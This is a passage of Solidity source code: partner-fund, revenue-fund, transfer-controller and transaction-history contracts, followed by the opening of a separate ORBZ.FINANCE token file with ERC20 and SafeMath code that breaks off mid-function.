_depositsCountByIndex(indexByNameHash(nameHash) - 1); } /// @notice Get deposits count by partner wallet /// @param wallet The wallet of the concerned partner /// return The deposits count function depositsCountByWallet(address wallet) public view returns (uint256) { // Implicitly require that partner wallet is registered return _depositsCountByIndex(indexByWallet(wallet) - 1); } /// @notice Get active balance by partner index and currency /// @param index The index of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The active balance function activeBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId) public view returns (int256) { // Require partner index is one of registered partner require(0 < index && index <= partners.length); return _activeBalanceByIndex(index - 1, currencyCt, currencyId); } /// @notice Get active balance by partner name and currency /// @param name The name of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The active balance function activeBalanceByName(string name, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner name is registered return _activeBalanceByIndex(indexByName(name) - 1, currencyCt, currencyId); } /// @notice Get active balance by partner name hash and currency /// @param nameHash The hashed name of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The active balance function activeBalanceByNameHash(bytes32 nameHash, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner name hash is registered return _activeBalanceByIndex(indexByNameHash(nameHash) - 1, currencyCt, currencyId); } /// @notice Get active balance by partner wallet and currency /// @param wallet The wallet of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The active balance function activeBalanceByWallet(address wallet, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner wallet is registered return _activeBalanceByIndex(indexByWallet(wallet) - 1, currencyCt, currencyId); } /// @notice Get staged balance by partner index and currency /// @param index The index of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The staged balance function stagedBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId) public view returns (int256) { // Require partner index is one of registered partner require(0 < index && index <= partners.length); return _stagedBalanceByIndex(index - 1, currencyCt, currencyId); } /// @notice Get staged balance by partner name and currency /// @param name The name of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The staged balance function stagedBalanceByName(string name, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner name is registered return _stagedBalanceByIndex(indexByName(name) - 1, currencyCt, currencyId); } /// @notice Get staged balance by partner name hash and currency /// @param nameHash The hashed name of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The staged balance function stagedBalanceByNameHash(bytes32 nameHash, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner name is registered return _stagedBalanceByIndex(indexByNameHash(nameHash) - 1, currencyCt, currencyId); } /// @notice Get staged balance by partner wallet and currency /// @param wallet The wallet of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The staged balance function stagedBalanceByWallet(address wallet, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner wallet is registered return _stagedBalanceByIndex(indexByWallet(wallet) - 1, currencyCt, currencyId); } /// @notice Get the number of partners /// @return The number of partners function partnersCount() public view returns (uint256) { return partners.length; } /// @notice Register a partner by name /// @param name The name of the concerned partner /// @param fee The partner's fee fraction /// @param wallet The partner's wallet /// @param partnerCanUpdate Indicator of whether partner can update fee and wallet /// @param operatorCanUpdate Indicator of whether operator can update fee and wallet function registerByName(string name, uint256 fee, address wallet, bool partnerCanUpdate, bool operatorCanUpdate) public onlyOperator { // Require not empty name string require(bytes(name).length > 0); // Hash name bytes32 nameHash = hashName(name); // Register partner _registerPartnerByNameHash(nameHash, fee, wallet, partnerCanUpdate, operatorCanUpdate); // Emit event emit RegisterPartnerByNameEvent(name, fee, wallet); } /// @notice Register a partner by name hash /// @param nameHash The hashed name of the concerned partner /// @param fee The partner's fee fraction /// @param wallet The partner's wallet /// @param partnerCanUpdate Indicator of whether partner can update fee and wallet /// @param operatorCanUpdate Indicator of whether operator can update fee and wallet function registerByNameHash(bytes32 nameHash, uint256 fee, address wallet, bool partnerCanUpdate, bool operatorCanUpdate) public onlyOperator { // Register partner _registerPartnerByNameHash(nameHash, fee, wallet, partnerCanUpdate, operatorCanUpdate); // Emit event emit RegisterPartnerByNameHashEvent(nameHash, fee, wallet); } /// @notice Gets the 1-based index of partner by its name /// @dev Reverts if name does not correspond to registered partner /// @return Index of partner by given name function indexByNameHash(bytes32 nameHash) public view returns (uint256) { uint256 index = _indexByNameHash[nameHash]; require(0 < index); return index; } /// @notice Gets the 1-based index of partner by its name /// @dev Reverts if name does not correspond to registered partner /// @return Index of partner by given name function indexByName(string name) public view returns (uint256) { return indexByNameHash(hashName(name)); } /// @notice Gets the 1-based index of partner by its wallet /// @dev Reverts if wallet does not correspond to registered partner /// @return Index of partner by given wallet function indexByWallet(address wallet) public view returns (uint256) { uint256 index = _indexByWallet[wallet]; require(0 < index); return index; } /// @notice Gauge whether a partner by the given name is registered /// @param name The name of the concerned partner /// @return true if partner is registered, else false function isRegisteredByName(string name) public view returns (bool) { return (0 < _indexByNameHash[hashName(name)]); } /// @notice Gauge whether a partner by the given name hash is registered /// @param nameHash The hashed name of the concerned partner /// @return true if partner is registered, else false function isRegisteredByNameHash(bytes32 nameHash) public view returns (bool) { return (0 < _indexByNameHash[nameHash]); } /// @notice Gauge whether a partner by the given wallet is registered /// @param wallet The wallet of the concerned partner /// @return true if partner is registered, else false function isRegisteredByWallet(address wallet) public view returns (bool) { return (0 < _indexByWallet[wallet]); } /// @notice Get the partner fee fraction by the given partner index /// @param index The index of the concerned partner /// @return The fee fraction function feeByIndex(uint256 index) public view returns (uint256) { // Require partner index is one of registered partner require(0 < index && index <= partners.length); return _partnerFeeByIndex(index - 1); } /// @notice Get the partner fee fraction by the given partner name /// @param name The name of the concerned partner /// @return The fee fraction function feeByName(string name) public view returns (uint256) { // Get fee, implicitly requiring that partner name is registered return _partnerFeeByIndex(indexByName(name) - 1); } /// @notice Get the partner fee fraction by the given partner name hash /// @param nameHash The hashed name of the concerned partner /// @return The fee fraction function feeByNameHash(bytes32 nameHash) public view returns (uint256) { // Get fee, implicitly requiring that partner name hash is registered return _partnerFeeByIndex(indexByNameHash(nameHash) - 1); } /// @notice Get the partner fee fraction by the given partner wallet /// @param wallet The wallet of the concerned partner /// @return The fee fraction function feeByWallet(address wallet) public view returns (uint256) { // Get fee, implicitly requiring that partner wallet is registered return _partnerFeeByIndex(indexByWallet(wallet) - 1); } /// @notice Set the partner fee fraction by the given partner index /// @param index The index of the concerned partner /// @param newFee The partner's fee fraction function setFeeByIndex(uint256 index, uint256 newFee) public { // Require partner index is one of registered partner require(0 < index && index <= partners.length); // Update fee uint256 oldFee = _setPartnerFeeByIndex(index - 1, newFee); // Emit event emit SetFeeByIndexEvent(index, oldFee, newFee); } /// @notice Set the partner fee fraction by the given partner name /// @param name The name of the concerned partner /// @param newFee The partner's fee fraction function setFeeByName(string name, uint256 newFee) public { // Update fee, implicitly requiring that partner name is registered uint256 oldFee = _setPartnerFeeByIndex(indexByName(name) - 1, newFee); // Emit event emit SetFeeByNameEvent(name, oldFee, newFee); } /// @notice Set the partner fee fraction by the given partner name hash /// @param nameHash The hashed name of the concerned partner /// @param newFee The partner's fee fraction function setFeeByNameHash(bytes32 nameHash, uint256 newFee) public { // Update fee, implicitly requiring that partner name hash is registered uint256 oldFee = _setPartnerFeeByIndex(indexByNameHash(nameHash) - 1, newFee); // Emit event emit SetFeeByNameHashEvent(nameHash, oldFee, newFee); } /// @notice Set the partner fee fraction by the given partner wallet /// @param wallet The wallet of the concerned partner /// @param newFee The partner's fee fraction function setFeeByWallet(address wallet, uint256 newFee) public { // Update fee, implicitly requiring that partner wallet is registered uint256 oldFee = _setPartnerFeeByIndex(indexByWallet(wallet) - 1, newFee); // Emit event emit SetFeeByWalletEvent(wallet, oldFee, newFee); } /// @notice Get the partner wallet by the given partner index /// @param index The index of the concerned partner /// @return The wallet function walletByIndex(uint256 index) public view returns (address) { // Require partner index is one of registered partner require(0 < index && index <= partners.length); return partners[index - 1].wallet; } /// @notice Get the partner wallet by the given partner name /// @param name The name of the concerned partner /// @return The wallet function walletByName(string name) public view returns (address) { // Get wallet, implicitly requiring that partner name is registered return partners[indexByName(name) - 1].wallet; } /// @notice Get the partner wallet by the given partner name hash /// @param nameHash The hashed name of the concerned partner /// @return The wallet function walletByNameHash(bytes32 nameHash) public view returns (address) { // Get wallet, implicitly requiring that partner name hash is registered return partners[indexByNameHash(nameHash) - 1].wallet; } /// @notice Set the partner wallet by the given partner index /// @param index The index of the concerned partner /// @return newWallet The partner's wallet function setWalletByIndex(uint256 index, address newWallet) public { // Require partner index is one of registered partner require(0 < index && index <= partners.length); // Update wallet address oldWallet = _setPartnerWalletByIndex(index - 1, newWallet); // Emit event emit SetPartnerWalletByIndexEvent(index, oldWallet, newWallet); } /// @notice Set the partner wallet by the given partner name /// @param name The name of the concerned partner /// @return newWallet The partner's wallet function setWalletByName(string name, address newWallet) public { // Update wallet address oldWallet = _setPartnerWalletByIndex(indexByName(name) - 1, newWallet); // Emit event emit SetPartnerWalletByNameEvent(name, oldWallet, newWallet); } /// @notice Set the partner wallet by the given partner name hash /// @param nameHash The hashed name of the concerned partner /// @return newWallet The partner's wallet function setWalletByNameHash(bytes32 nameHash, address newWallet) public { // Update wallet address oldWallet = _setPartnerWalletByIndex(indexByNameHash(nameHash) - 1, newWallet); // Emit event emit SetPartnerWalletByNameHashEvent(nameHash, oldWallet, newWallet); } /// @notice Set the new partner wallet by the given old partner wallet /// @param oldWallet The old wallet of the concerned partner /// @return newWallet The partner's new wallet function setWalletByWallet(address oldWallet, address newWallet) public { // Update wallet _setPartnerWalletByIndex(indexByWallet(oldWallet) - 1, newWallet); // Emit event emit SetPartnerWalletByWalletEvent(oldWallet, newWallet); } /// @notice Stage the amount for subsequent withdrawal /// @param amount The concerned amount to stage /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) function stage(int256 amount, address currencyCt, uint256 currencyId) public { // Get index, implicitly requiring that msg.sender is wallet of registered partner uint256 index = indexByWallet(msg.sender); // Require positive amount require(amount.isPositiveInt256()); // Clamp amount to move amount = amount.clampMax(partners[index - 1].active.get(currencyCt, currencyId)); partners[index - 1].active.sub(amount, currencyCt, currencyId); partners[index - 1].staged.add(amount, currencyCt, currencyId); partners[index - 1].txHistory.addDeposit(amount, currencyCt, currencyId); // Add to full deposit history partners[index - 1].fullBalanceHistory.push( FullBalanceHistory( partners[index - 1].txHistory.depositsCount() - 1, partners[index - 1].active.get(currencyCt, currencyId), block.number ) ); // Emit event emit StageEvent(msg.sender, amount, currencyCt, currencyId); } /// @notice Withdraw the given amount from staged balance /// @param amount The concerned amount to withdraw /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of the token ("" for default registered, "ERC20", "ERC721") function withdraw(int256 amount, address currencyCt, uint256 currencyId, string standard) public { // Get index, implicitly requiring that msg.sender is wallet of registered partner uint256 index = indexByWallet(msg.sender); // Require positive amount require(amount.isPositiveInt256()); // Clamp amount to move amount = amount.clampMax(partners[index - 1].staged.get(currencyCt, currencyId)); partners[index - 1].staged.sub(amount, currencyCt, currencyId); // Execute transfer if (address(0) == currencyCt && 0 == currencyId) msg.sender.transfer(uint256(amount)); else { TransferController controller = transferController(currencyCt, standard); require( address(controller).delegatecall( controller.getDispatchSignature(), this, msg.sender, uint256(amount), currencyCt, currencyId ) ); } // Emit event emit WithdrawEvent(msg.sender, amount, currencyCt, currencyId); } // // Private functions // ----------------------------------------------------------------------------------------------------------------- /// @dev index is 0-based function _receiveEthersTo(uint256 index, int256 amount) private { // Require that index is within bounds require(index < partners.length); // Add to active partners[index].active.add(amount, address(0), 0); partners[index].txHistory.addDeposit(amount, address(0), 0); // Add to full deposit history partners[index].fullBalanceHistory.push( FullBalanceHistory( partners[index].txHistory.depositsCount() - 1, partners[index].active.get(address(0), 0), block.number ) ); // Emit event emit ReceiveEvent(msg.sender, amount, address(0), 0); } /// @dev index is 0-based function _receiveTokensTo(uint256 index, int256 amount, address currencyCt, uint256 currencyId, string standard) private { // Require that index is within bounds require(index < partners.length); require(amount.isNonZeroPositiveInt256()); // Execute transfer TransferController controller = transferController(currencyCt, standard); require( address(controller).delegatecall( controller.getReceiveSignature(), msg.sender, this, uint256(amount), currencyCt, currencyId ) ); // Add to active partners[index].active.add(amount, currencyCt, currencyId); partners[index].txHistory.addDeposit(amount, currencyCt, currencyId); // Add to full deposit history partners[index].fullBalanceHistory.push( FullBalanceHistory( partners[index].txHistory.depositsCount() - 1, partners[index].active.get(currencyCt, currencyId), block.number ) ); // Emit event emit ReceiveEvent(msg.sender, amount, currencyCt, currencyId); } /// @dev partnerIndex is 0-based function _depositByIndices(uint256 partnerIndex, uint256 depositIndex) private view returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId) { require(depositIndex < partners[partnerIndex].fullBalanceHistory.length); FullBalanceHistory storage entry = partners[partnerIndex].fullBalanceHistory[depositIndex]; (,, currencyCt, currencyId) = partners[partnerIndex].txHistory.deposit(entry.listIndex); balance = entry.balance; blockNumber = entry.blockNumber; } /// @dev index is 0-based function _depositsCountByIndex(uint256 index) private view returns (uint256) { return partners[index].fullBalanceHistory.length; } /// @dev index is 0-based function _activeBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId) private view returns (int256) { return partners[index].active.get(currencyCt, currencyId); } /// @dev index is 0-based function _stagedBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId) private view returns (int256) { return partners[index].staged.get(currencyCt, currencyId); } function _registerPartnerByNameHash(bytes32 nameHash, uint256 fee, address wallet, bool partnerCanUpdate, bool operatorCanUpdate) private { // Require that the name is not previously registered require(0 == _indexByNameHash[nameHash]); // Require possibility to update require(partnerCanUpdate || operatorCanUpdate); // Add new partner partners.length++; // Reference by 1-based index uint256 index = partners.length; // Update partner map partners[index - 1].nameHash = nameHash; partners[index - 1].fee = fee; partners[index - 1].wallet = wallet; partners[index - 1].partnerCanUpdate = partnerCanUpdate; partners[index - 1].operatorCanUpdate = operatorCanUpdate; partners[index - 1].index = index; // Update name hash to index map _indexByNameHash[nameHash] = index; // Update wallet to index map _indexByWallet[wallet] = index; } /// @dev index is 0-based function _setPartnerFeeByIndex(uint256 index, uint256 fee) private returns (uint256) { uint256 oldFee = partners[index].fee; // If operator tries to change verify that operator has access if (isOperator()) require(partners[index].operatorCanUpdate); else { // Require that msg.sender is partner require(msg.sender == partners[index].wallet); // If partner tries to change verify that partner has access require(partners[index].partnerCanUpdate); } // Update stored fee partners[index].fee = fee; return oldFee; } // @dev index is 0-based function _setPartnerWalletByIndex(uint256 index, address newWallet) private returns (address) { address oldWallet = partners[index].wallet; // If address has not been set operator is the only allowed to change it if (oldWallet == address(0)) require(isOperator()); // Else if operator tries to change verify that operator has access else if (isOperator()) require(partners[index].operatorCanUpdate); else { // Require that msg.sender is partner require(msg.sender == oldWallet); // If partner tries to change verify that partner has access require(partners[index].partnerCanUpdate); // Require that new wallet is not zero-address if it can not be changed by operator require(partners[index].operatorCanUpdate || newWallet != address(0)); } // Update stored wallet partners[index].wallet = newWallet; // Update address to tag map if (oldWallet != address(0)) _indexByWallet[oldWallet] = 0; if (newWallet != address(0)) _indexByWallet[newWallet] = index; return oldWallet; } // @dev index is 0-based function _partnerFeeByIndex(uint256 index) private view returns (uint256) { return partners[index].fee; } } contract RevenueFund is Ownable, AccrualBeneficiary, AccrualBenefactor, TransferControllerManageable { using FungibleBalanceLib for FungibleBalanceLib.Balance; using TxHistoryLib for TxHistoryLib.TxHistory; using SafeMathIntLib for int256; using SafeMathUintLib for uint256; using CurrenciesLib for CurrenciesLib.Currencies; // // Variables // ----------------------------------------------------------------------------------------------------------------- FungibleBalanceLib.Balance periodAccrual; CurrenciesLib.Currencies periodCurrencies; FungibleBalanceLib.Balance aggregateAccrual; CurrenciesLib.Currencies aggregateCurrencies; TxHistoryLib.TxHistory private txHistory; // // Events // ----------------------------------------------------------------------------------------------------------------- event ReceiveEvent(address from, int256 amount, address currencyCt, uint256 currencyId); event CloseAccrualPeriodEvent(); event RegisterServiceEvent(address service); event DeregisterServiceEvent(address service); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Fallback function that deposits ethers function() public payable { receiveEthersTo(msg.sender, ""); } /// @notice Receive ethers to /// @param wallet The concerned wallet address function receiveEthersTo(address wallet, string) public payable { int256 amount = SafeMathIntLib.toNonZeroInt256(msg.value); // Add to balances periodAccrual.add(amount, address(0), 0); aggregateAccrual.add(amount, address(0), 0); // Add currency to stores of currencies periodCurrencies.add(address(0), 0); aggregateCurrencies.add(address(0), 0); // Add to transaction history txHistory.addDeposit(amount, address(0), 0); // Emit event emit ReceiveEvent(wallet, amount, address(0), 0); } /// @notice Receive tokens /// @param amount The concerned amount /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of token ("ERC20", "ERC721") function receiveTokens(string balanceType, int256 amount, address currencyCt, uint256 currencyId, string standard) public { receiveTokensTo(msg.sender, balanceType, amount, currencyCt, currencyId, standard); } /// @notice Receive tokens to /// @param wallet The address of the concerned wallet /// @param amount The concerned amount /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of token ("ERC20", "ERC721") function receiveTokensTo(address wallet, string, int256 amount, address currencyCt, uint256 currencyId, string standard) public { require(amount.isNonZeroPositiveInt256()); // Execute transfer TransferController controller = transferController(currencyCt, standard); require( address(controller).delegatecall( controller.getReceiveSignature(), msg.sender, this, uint256(amount), currencyCt, currencyId ) ); // Add to balances periodAccrual.add(amount, currencyCt, currencyId); aggregateAccrual.add(amount, currencyCt, currencyId); // Add currency to stores of currencies periodCurrencies.add(currencyCt, currencyId); aggregateCurrencies.add(currencyCt, currencyId); // Add to transaction history txHistory.addDeposit(amount, currencyCt, currencyId); // Emit event emit ReceiveEvent(wallet, amount, currencyCt, currencyId); } /// @notice Get the period accrual balance of the given currency /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @return The current period's accrual balance function periodAccrualBalance(address currencyCt, uint256 currencyId) public view returns (int256) { return periodAccrual.get(currencyCt, currencyId); } /// @notice Get the aggregate accrual balance of the given currency, including contribution from the /// current accrual period /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @return The aggregate accrual balance function aggregateAccrualBalance(address currencyCt, uint256 currencyId) public view returns (int256) { return aggregateAccrual.get(currencyCt, currencyId); } /// @notice Get the count of currencies recorded in the accrual period /// @return The number of currencies in the current accrual period function periodCurrenciesCount() public view returns (uint256) { return periodCurrencies.count(); } /// @notice Get the currencies with indices in the given range that have been recorded in the current accrual period /// @param low The lower currency index /// @param up The upper currency index /// @return The currencies of the given index range in the current accrual period function periodCurrenciesByIndices(uint256 low, uint256 up) public view returns (MonetaryTypesLib.Currency[]) { return periodCurrencies.getByIndices(low, up); } /// @notice Get the count of currencies ever recorded /// @return The number of currencies ever recorded function aggregateCurrenciesCount() public view returns (uint256) { return aggregateCurrencies.count(); } /// @notice Get the currencies with indices in the given range that have ever been recorded /// @param low The lower currency index /// @param up The upper currency index /// @return The currencies of the given index range ever recorded function aggregateCurrenciesByIndices(uint256 low, uint256 up) public view returns (MonetaryTypesLib.Currency[]) { return aggregateCurrencies.getByIndices(low, up); } /// @notice Get the count of deposits /// @return The count of deposits function depositsCount() public view returns (uint256) { return txHistory.depositsCount(); } /// @notice Get the deposit at the given index /// @return The deposit at the given index function deposit(uint index) public view returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId) { return txHistory.deposit(index); } /// @notice Close the current accrual period of the given currencies /// @param currencies The concerned currencies function closeAccrualPeriod(MonetaryTypesLib.Currency[] currencies) public onlyOperator { require(ConstantsLib.PARTS_PER() == totalBeneficiaryFraction); // Execute transfer for (uint256 i = 0; i < currencies.length; i++) { MonetaryTypesLib.Currency memory currency = currencies[i]; int256 remaining = periodAccrual.get(currency.ct, currency.id); if (0 >= remaining) continue; for (uint256 j = 0; j < beneficiaries.length; j++) { address beneficiaryAddress = beneficiaries[j]; if (beneficiaryFraction(beneficiaryAddress) > 0) { int256 transferable = periodAccrual.get(currency.ct, currency.id) .mul(beneficiaryFraction(beneficiaryAddress)) .div(ConstantsLib.PARTS_PER()); if (transferable > remaining) transferable = remaining; if (transferable > 0) { // Transfer ETH to the beneficiary if (currency.ct == address(0)) AccrualBeneficiary(beneficiaryAddress).receiveEthersTo.value(uint256(transferable))(address(0), ""); // Transfer token to the beneficiary else { TransferController controller = transferController(currency.ct, ""); require( address(controller).delegatecall( controller.getApproveSignature(), beneficiaryAddress, uint256(transferable), currency.ct, currency.id ) ); AccrualBeneficiary(beneficiaryAddress).receiveTokensTo(address(0), "", transferable, currency.ct, currency.id, ""); } remaining = remaining.sub(transferable); } } } // Roll over remaining to next accrual period periodAccrual.set(remaining, currency.ct, currency.id); } // Close accrual period of accrual beneficiaries for (j = 0; j < beneficiaries.length; j++) { beneficiaryAddress = beneficiaries[j]; // Require that beneficiary fraction is strictly positive if (0 >= beneficiaryFraction(beneficiaryAddress)) continue; // Close accrual period AccrualBeneficiary(beneficiaryAddress).closeAccrualPeriod(currencies); } // Emit event emit CloseAccrualPeriodEvent(); } } contract TransferControllerManager is Ownable { // // Constants // ----------------------------------------------------------------------------------------------------------------- struct CurrencyInfo { bytes32 standard; bool blacklisted; } // // Variables // ----------------------------------------------------------------------------------------------------------------- mapping(bytes32 => address) public registeredTransferControllers; mapping(address => CurrencyInfo) public registeredCurrencies; // // Events // ----------------------------------------------------------------------------------------------------------------- event RegisterTransferControllerEvent(string standard, address controller); event ReassociateTransferControllerEvent(string oldStandard, string newStandard, address controller); event RegisterCurrencyEvent(address currencyCt, string standard); event DeregisterCurrencyEvent(address currencyCt); event BlacklistCurrencyEvent(address currencyCt); event WhitelistCurrencyEvent(address currencyCt); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { } // // Functions // ----------------------------------------------------------------------------------------------------------------- function registerTransferController(string standard, address controller) external onlyDeployer notNullAddress(controller) { require(bytes(standard).length > 0); bytes32 standardHash = keccak256(abi.encodePacked(standard)); require(registeredTransferControllers[standardHash] == address(0)); registeredTransferControllers[standardHash] = controller; // Emit event emit RegisterTransferControllerEvent(standard, controller); } function reassociateTransferController(string oldStandard, string newStandard, address controller) external onlyDeployer notNullAddress(controller) { require(bytes(newStandard).length > 0); bytes32 oldStandardHash = keccak256(abi.encodePacked(oldStandard)); bytes32 newStandardHash = keccak256(abi.encodePacked(newStandard)); require(registeredTransferControllers[oldStandardHash] != address(0)); require(registeredTransferControllers[newStandardHash] == address(0)); registeredTransferControllers[newStandardHash] = registeredTransferControllers[oldStandardHash]; registeredTransferControllers[oldStandardHash] = address(0); // Emit event emit ReassociateTransferControllerEvent(oldStandard, newStandard, controller); } function registerCurrency(address currencyCt, string standard) external onlyOperator notNullAddress(currencyCt) { require(bytes(standard).length > 0); bytes32 standardHash = keccak256(abi.encodePacked(standard)); require(registeredCurrencies[currencyCt].standard == bytes32(0)); registeredCurrencies[currencyCt].standard = standardHash; // Emit event emit RegisterCurrencyEvent(currencyCt, standard); } function deregisterCurrency(address currencyCt) external onlyOperator { require(registeredCurrencies[currencyCt].standard != 0); registeredCurrencies[currencyCt].standard = bytes32(0); registeredCurrencies[currencyCt].blacklisted = false; // Emit event emit DeregisterCurrencyEvent(currencyCt); } function blacklistCurrency(address currencyCt) external onlyOperator { require(registeredCurrencies[currencyCt].standard != bytes32(0)); registeredCurrencies[currencyCt].blacklisted = true; // Emit event emit BlacklistCurrencyEvent(currencyCt); } function whitelistCurrency(address currencyCt) external onlyOperator { require(registeredCurrencies[currencyCt].standard != bytes32(0)); registeredCurrencies[currencyCt].blacklisted = false; // Emit event emit WhitelistCurrencyEvent(currencyCt); } /** @notice The provided standard takes priority over assigned interface to currency */ function transferController(address currencyCt, string standard) public view returns (TransferController) { if (bytes(standard).length > 0) { bytes32 standardHash = keccak256(abi.encodePacked(standard)); require(registeredTransferControllers[standardHash] != address(0)); return TransferController(registeredTransferControllers[standardHash]); } require(registeredCurrencies[currencyCt].standard != bytes32(0)); require(!registeredCurrencies[currencyCt].blacklisted); address controllerAddress = registeredTransferControllers[registeredCurrencies[currencyCt].standard]; require(controllerAddress != address(0)); return TransferController(controllerAddress); } } library TxHistoryLib { // // Structures // ----------------------------------------------------------------------------------------------------------------- struct AssetEntry { int256 amount; uint256 blockNumber; address currencyCt; //0 for ethers uint256 currencyId; } struct TxHistory { AssetEntry[] deposits; mapping(address => mapping(uint256 => AssetEntry[])) currencyDeposits; AssetEntry[] withdrawals; mapping(address => mapping(uint256 => AssetEntry[])) currencyWithdrawals; } // // Functions // ----------------------------------------------------------------------------------------------------------------- function addDeposit(TxHistory storage self, int256 amount, address currencyCt, uint256 currencyId) internal { AssetEntry memory deposit = AssetEntry(amount, block.number, currencyCt, currencyId); self.deposits.push(deposit); self.currencyDeposits[currencyCt][currencyId].push(deposit); } function addWithdrawal(TxHistory storage self, int256 amount, address currencyCt, uint256 currencyId) internal { AssetEntry memory withdrawal = AssetEntry(amount, block.number, currencyCt, currencyId); self.withdrawals.push(withdrawal); self.currencyWithdrawals[currencyCt][currencyId].push(withdrawal); } //---- function deposit(TxHistory storage self, uint index) internal view returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId) { require(index < self.deposits.length); amount = self.deposits[index].amount; blockNumber = self.deposits[index].blockNumber; currencyCt = self.deposits[index].currencyCt; currencyId = self.deposits[index].currencyId; } function depositsCount(TxHistory storage self) internal view returns (uint256) { return self.deposits.length; } function currencyDeposit(TxHistory storage self, address currencyCt, uint256 currencyId, uint index) internal view returns (int256 amount, uint256 blockNumber) { require(index < self.currencyDeposits[currencyCt][currencyId].length); amount = self.currencyDeposits[currencyCt][currencyId][index].amount; blockNumber = self.currencyDeposits[currencyCt][currencyId][index].blockNumber; } function currencyDepositsCount(TxHistory storage self, address currencyCt, uint256 currencyId) internal view returns (uint256) { return self.currencyDeposits[currencyCt][currencyId].length; } //---- function withdrawal(TxHistory storage self, uint index) internal view returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId) { require(index < self.withdrawals.length); amount = self.withdrawals[index].amount; blockNumber = self.withdrawals[index].blockNumber; currencyCt = self.withdrawals[index].currencyCt; currencyId = self.withdrawals[index].currencyId; } function withdrawalsCount(TxHistory storage self) internal view returns (uint256) { return self.withdrawals.length; } function currencyWithdrawal(TxHistory storage self, address currencyCt, uint256 currencyId, uint index) internal view returns (int256 amount, uint256 blockNumber) { require(index < self.currencyWithdrawals[currencyCt][currencyId].length); amount = self.currencyWithdrawals[currencyCt][currencyId][index].amount; blockNumber = self.currencyWithdrawals[currencyCt][currencyId][index].blockNumber; } function currencyWithdrawalsCount(TxHistory storage self, address currencyCt, uint256 currencyId) internal view returns (uint256) { return self.currencyWithdrawals[currencyCt][currencyId].length; } }
DC1
pragma solidity ^0.5.17; /* ___ ____ ____ _____ _____ ___ _ _ _ _ _ ____ _____ / _ \| _ \| __ )__ / | ___|_ _| \ | | / \ | \ | |/ ___| ____| | | | | |_) | _ \ / / | |_ | || \| | / _ \ | \| | | | _| | |_| | _ <| |_) / /_ _| _| | || |\ |/ ___ \| |\ | |___| |___ \___/|_| \_\____/____(_)_| |___|_| \_/_/ \_\_| \_|\____|_____| */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { 